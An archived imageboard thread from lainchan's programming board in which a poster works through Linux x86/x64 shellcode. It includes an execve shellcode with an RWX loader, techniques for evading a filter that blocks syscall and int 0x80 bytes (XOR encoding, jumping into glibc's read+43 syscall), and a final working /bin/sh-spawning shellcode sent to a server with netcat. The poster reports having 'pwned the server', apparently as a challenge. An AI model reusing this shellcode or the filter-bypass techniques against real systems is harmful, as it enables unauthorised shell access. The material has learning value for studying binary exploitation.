[ art / civ / cult / cyb / diy / drg / feels / layer / lit / λ / q / r / sci / sec / tech / w / zzz ] archive provided by lainchan.jp

lainchan archive - /λ/ - 21448



File: 1484683162842.png (3.34 KB, 224x225, inflammable.png)

No.21448

Hi lainanons!
I am trying to run vsyscal on 64 bit linux.
I managed to get it working on x32_86:
[bits 32]
xor eax, eax
push eax
push 0x736c2f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
sysenter
compilation: $ nasm -f bin filename -o shellcode32.o
You will also need a C "loader" for this shellcode:

#include <stdio.h>
#include <sys/mman.h>
int main(void) {
void (*m)(void) = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
read(0, m, 4096);
m();
}

compilation: $ gcc filename -o loader -m32
run it all:
$ ./loader < shellcode32.o

and it executes 'ls'
btw one can use call DWORD PTR gs:0x10 instead of sysenter when using glibc on x86

Now, if I try similiar thing for x64:
[bits 64]
mov rax, 60
mov rdi, 42
sysenter ;if i change this to syscall it works
compilation: $ nasm -f bin filename -o shellcode64.o
and $gcc loader.c -o loader64 -m32 (need recompile from 32 to 64)
After running
$ ./loader64 < shellcode64.o; echo $?
(; echo $? outputs return code, should be 42 [if I use syscall instead of sysenter then it is 42])
it returns with SIGSEGV
when i run it via gdb, i find that sysenter fails with "Cannot access memory at address 0xffffe090"

Is there some 1337 hacker who can help me with running sysenter on x64 system?

  No.21449

Btw, do you know any methods of calling syscall on x64 different than syscall, int 0x80 and the one I am trying to run?

  No.21451

>>21448
In the second example the loader is not compiled with -m64 not -m32 right?

SYSENTER is a x86 instruction and is also available in x86 long mode (called INTEL64?). But -m64 compiles for AMD64 also called x86 and there is no SYSENTER only SYSCALL.

That would my explanation, though this is not my forte. So take this explanation with a grain of salt.

  No.21452

>>21451
>In the second example the loader is compiled with -m64 not -m32 right?

*Fixed

  No.21453

Ok, I found this:
http://man7.org/linux/man-pages/man7/vdso.7.html
as far as I understand only functions from VDSO one can use on x64 are:
__vdso_clock_gettime
__vdso_getcpu
__vdso_gettimeofday
__vdso_time

So, let's change my question a bit:
Do you know how to overcome int 0x80 and syscall blacklisting while writing custom shellcode for x64 linux platform?
Is there a way to call execve without int 0x80 or syscall?
Or, even better: can one write his own syscall/int 0x80? Or is it too low level?
Ehh I feel like I am drowning in curiosity.

  No.21454

>>21452
You are 100% right, i made a typo>>21452

  No.21455

>>21451
So, if I have following elf x64 binary:
file bin
bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=deadbeefdeadbeefdeadbeefdeadbeef, not stripped

then there is no way to invoke __kernel_vsyscall in my shellcode?
Have you got any ideas about other possible calls (syscall and int 0x80 are blacklisted)

  No.21456

>>21455
Blacklisted for your shellcode or blacklisted for execution? To my knowledge there are no other ways. If blacklisted in your shellcode input you could piece something together from whats available in the process/binary. Otherwise you'll have to look if there are any open file descriptors or something like that.

  No.21457

>>21456
there is code that check for occurences of "\x0F\x05", "\xCD\x80" and "\x0F\x07"
(syscall, int 0x80, sysret) and if check fails, it calls _exit(1)
otherwise my code gets executed

  No.21459

>>21457
Two things straight of my mind:

Write some code that has your actual shellcode xored with a constant and after xor'ing it again writes it to a memory location that is executable and then jump to it.

Or look for a syscall/int 80 in the binary and write your code so that it jumps to that syscall at the end. You'll need a way to figure out the address though. (Basically a single ROP)

First one seems easier since its implied anyway that you have write access to a executable memory region.

  No.21460

>>21459
I tought about xoring, but there is
mprotect(m, 4096, PROT_EXEC|PROT_READ) call before execution which prevents me from doing it

  No.21461

>>21460
Ah, so the loader is actually the loader used on the life system. Didn't get that. Is your stack executable? (Probably) If not you'll have to do create a ROP Gadget.

  No.21462

>>21461
fuarrrk my concentration. Its (Probably not). And the loader is just similar i.e similar mmap but then the writing permission stripped away.

  No.21463

>>21461
Loaders are just my test executables,
the one i am trying to exploit is a bit more complicated, it performs mmprotect and checks for int 0x80,syscall and sysret
I will try rops

  No.21469

Do you know how can address of read be found?
Beceause read+43 is syscall, so I would just setup registers in my shellcode and then call read+43, the problem is that i dont know glibc version.

So this would be like this:
read() -> read my shellcode, also this is first call of read(), so all got&plt stuff is made here (lazy linkage)
checks() -> my shellcode is valid
m() -> run shellcode, which setupts args and jumps to read()+43

read looks like this:
0x00007ffff7b12d80 <+0>: cmp DWORD PTR [rip+0x2c7a59],0x0 # 0x7ffff7dda7e0 <__libc_multiple_threads>
0x00007ffff7b12d87 <+7>: jne 0x7ffff7b12d99 <read+25>
0x00007ffff7b12d89 <+0>: mov eax,0x0
0x00007ffff7b12d8e <+5>: syscall
0x00007ffff7b12d90 <+7>: cmp rax,0xfffffffffffff001
0x00007ffff7b12d96 <+13>: jae 0x7ffff7b12dc9 <read+73>
0x00007ffff7b12d98 <+15>: ret
0x00007ffff7b12d99 <+25>: sub rsp,0x8
0x00007ffff7b12d9d <+29>: call 0x7ffff7b2c390 <__libc_enable_asynccancel>
0x00007ffff7b12da2 <+34>: mov QWORD PTR [rsp],rax
0x00007ffff7b12da6 <+38>: mov eax,0x0
0x00007ffff7b12dab <+43>: syscall
...

  No.21470

Ok, I know it:
objdump -R pwn | grep read gives read got address

  No.21471

>>21470
btw, already pwned the server!
I feel like I am in love with binary exploitation xD

  No.21472

File: 1484773501387.png (89.51 KB, 191x200, Noice (1).png)

>>21471
Good work lainon, what did your final shellcode look like?

  No.21473

>>21472
jmp shlabel
gogopowerrangers:
pop rdi
mov rax, 59
xor rsi, rsi
xor rdx, rdx
mov r9, [0x602058] ;address from
;objdump -R bin | grep read
add r9, 43
jmp r9

shlabel:
call gogopowerrangers
db "/bin/sh", 0

and execution goes like this:
(cat exploit; cat) | nc server port

  No.21485

File: 1484841981348.png (40.15 KB, 200x99, too short.png)

>>21471
>>21473
I'm happy for you λanon, and a bit jelly too. Even though I understan how some of that stuff works, I don't know how would I go about exploiting such vulnerabilities

  No.21491

Can someone explain what is going on here to a non-haxx0r?

  No.21492

>>21491
basically, 'loader' from OP is a program that reads 4096 bytes of memory and executes it, and OP is trying to inject programs into that which do various things.

  No.21497

>>21492
Thanks, I sort of figured something like that.
I think low level stuff like assembly is really interesting, unfortunately I'm not very good at it.